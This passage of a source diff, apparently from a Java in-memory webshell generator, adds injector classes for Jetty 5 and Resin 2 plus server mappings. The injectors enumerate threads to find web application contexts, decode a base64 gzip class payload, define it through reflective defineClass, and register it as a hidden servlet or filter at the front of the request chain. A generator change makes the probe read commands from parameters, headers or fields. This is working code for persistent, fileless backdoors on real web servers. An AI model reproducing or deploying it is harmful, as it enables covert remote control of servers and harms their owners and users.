Object servletHandler = getWebApplicationHandler(context);
|
||||
|
||||
if (invokeMethod(servletHandler, "getServletHolder", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
invokeMethod(
|
||||
servletHandler,
|
||||
"addServlet",
|
||||
new Class[]{String.class, String.class, String.class},
|
||||
new Object[]{getClassName(), getUrlPattern(), getClassName()});
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.mortbay.jetty.servlet.WebApplicationContext
|
||||
*/
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
|
||||
String name = contextClassLoader.getClass().getName();
|
||||
if (name.endsWith("ContextLoader")) {
|
||||
contexts.add(getFieldValue(contextClassLoader, "_context"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
public Object getWebApplicationHandler(Object context) throws Exception {
|
||||
try {
|
||||
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
|
||||
if (webApplicationHandler != null) {
|
||||
return webApplicationHandler;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return getFieldValue(context, "_servletHandler");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (NoSuchMethodException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+270
@@ -0,0 +1,270 @@
|
||||
package com.reajason.javaweb.memshell.injector.resin2;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Resin2FilterInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Resin2FilterInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
addContextFromClassLoader(contexts, thread.getContextClassLoader());
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
|
||||
Object context = getApplicationFromClassLoader(classLoader);
|
||||
if (context != null) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
|
||||
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
|
||||
while (classLoader != null) {
|
||||
try {
|
||||
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
|
||||
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
|
||||
return context;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
classLoader = classLoader.getParent();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private void inject(Object context, Object filter) throws Exception {
|
||||
Map<String, Object> filters = (Map) getFieldValue(context, "_filters");
|
||||
for (String key : filters.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
ClassLoader loader = context.getClass().getClassLoader();
|
||||
Class<?> applicationClass = loader.loadClass("com.caucho.server.http.Application");
|
||||
Class<?> qFilterConfigClass = loader.loadClass("com.caucho.server.http.QFilterConfig");
|
||||
Class<?> registryNodeClass = loader.loadClass("com.caucho.util.RegistryNode");
|
||||
Object filterConfig = newInstance(
|
||||
qFilterConfigClass,
|
||||
new Class[]{applicationClass, String.class, String.class, registryNodeClass},
|
||||
new Object[]{context, getClassName(), getClassName(), null});
|
||||
filters.put(getClassName(), filterConfig);
|
||||
|
||||
List filterList = (List) getFieldValue(context, "_filterList");
|
||||
if (filterList != null && !filterList.contains(filterConfig)) {
|
||||
filterList.add(filterConfig);
|
||||
}
|
||||
|
||||
Class<?> filterMapClass = loader.loadClass("com.caucho.server.http.FilterMap");
|
||||
Object filterMap = newInstance(filterMapClass, new Class[0], new Object[0]);
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), ""});
|
||||
invokeMethod(filterMap, "setData", new Class[]{Object.class}, new Object[]{filterConfig});
|
||||
|
||||
List filterMaps = (List) getFieldValue(context, "_filterMap");
|
||||
synchronized (filterMaps) {
|
||||
filterMaps.add(0, filterMap);
|
||||
}
|
||||
invokeMethod(context, "clearCache", null, null);
|
||||
}
|
||||
|
||||
private static Object newInstance(Class<?> clazz, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Constructor<?> constructor = clazz.getDeclaredConstructor(paramClazz);
|
||||
constructor.setAccessible(true);
|
||||
return constructor.newInstance(param);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+248
@@ -0,0 +1,248 @@
|
||||
package com.reajason.javaweb.memshell.injector.resin2;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Resin2ServletInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Resin2ServletInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts == null || contexts.isEmpty()) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
for (Object context : contexts) {
|
||||
try {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<Object>();
|
||||
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
addContextFromClassLoader(contexts, thread.getContextClassLoader());
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
|
||||
Object context = getApplicationFromClassLoader(classLoader);
|
||||
if (context != null) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
|
||||
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
|
||||
while (classLoader != null) {
|
||||
try {
|
||||
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
|
||||
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
|
||||
return context;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
classLoader = classLoader.getParent();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
return ((ClassLoader) getFieldValue(context, "_classLoader"));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
private void inject(Object context, Object servlet) throws Exception {
|
||||
Map<String, Object> servlets = (Map) getFieldValue(context, "_servlets");
|
||||
for (String key : servlets.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Object servletConfig = invokeMethod(
|
||||
context,
|
||||
"addServlet",
|
||||
new Class[]{String.class, String.class},
|
||||
new Object[]{getClassName(), getClassName()});
|
||||
Class<?> servletConfigClass = context.getClass().getClassLoader().loadClass("com.caucho.server.http.QServletConfig");
|
||||
invokeMethod(
|
||||
context,
|
||||
"addDispatchMap",
|
||||
new Class[]{String.class, servletConfigClass},
|
||||
new Object[]{getUrlPattern(), servletConfig});
|
||||
invokeMethod(context, "clearCache", null, null);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.jetty.Jetty5FilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ListenerInjector;
|
||||
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ServletInjector;
|
||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Jetty5 extends AbstractServer {
|
||||
|
||||
public static class ListenerInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
|
||||
try {
|
||||
response = ShellCommonUtil.getFieldValue(request, "_servletHttpResponse");
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_request"), "_servletHttpResponse");
|
||||
} catch (Exception ignored2) {
|
||||
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "_servletHttpResponse");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Class<?> getListenerInterceptor() {
|
||||
return ListenerInterceptor.class;
|
||||
}
|
||||
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, Jetty5ListenerInjector.class)
|
||||
.addInjector(FILTER, Jetty5FilterInjector.class)
|
||||
.addInjector(SERVLET, Jetty5ServletInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.resin2.Resin2FilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.resin2.Resin2ServletInjector;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.FILTER;
|
||||
import static com.reajason.javaweb.memshell.ShellType.SERVLET;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/7/4
|
||||
*/
|
||||
public class Resin2 extends AbstractServer {
|
||||
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, Resin2FilterInjector.class)
|
||||
.addInjector(SERVLET, Resin2ServletInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
+44
-23
@@ -52,9 +52,9 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
.name(probeConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
|
||||
.visit(Advice.withCustomMapping()
|
||||
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
|
||||
.to(runnerClass)
|
||||
.on(named("run")));
|
||||
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
|
||||
.to(runnerClass)
|
||||
.on(named("run")));
|
||||
String base64Bytes = probeContentConfig.getBase64Bytes();
|
||||
if (StringUtils.isNotBlank(base64Bytes)) {
|
||||
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
|
||||
@@ -86,6 +86,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
case Server.SpringWebMvc:
|
||||
return SpringWebMvcWriter.class;
|
||||
case Server.Jetty:
|
||||
case Server.Jetty5:
|
||||
return JettyWriter.class;
|
||||
case Server.Tomcat:
|
||||
case Server.JBoss:
|
||||
@@ -95,6 +96,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
return TongWebWriter.class;
|
||||
case Server.Resin:
|
||||
return ResinWriter.class;
|
||||
case Server.Resin2:
|
||||
return Resin2Writer.class;
|
||||
case Server.Undertow:
|
||||
return UndertowWriter.class;
|
||||
case Server.GlassFish:
|
||||
@@ -118,15 +121,24 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
public static void enter(@Advice.Argument(value = 0) Object request,
|
||||
@ValueAnnotation String name,
|
||||
@Advice.Return(readOnly = false) String ret) throws Exception {
|
||||
String p = null;
|
||||
try {
|
||||
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||
}
|
||||
ret = p;
|
||||
} catch (Exception e) {
|
||||
ret = null;
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
try {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
if (p == null || p.isEmpty()) {
|
||||
try {
|
||||
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
ret = p;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -135,22 +147,33 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
public static void enter(@Advice.Argument(value = 0) Object request,
|
||||
@ValueAnnotation String name,
|
||||
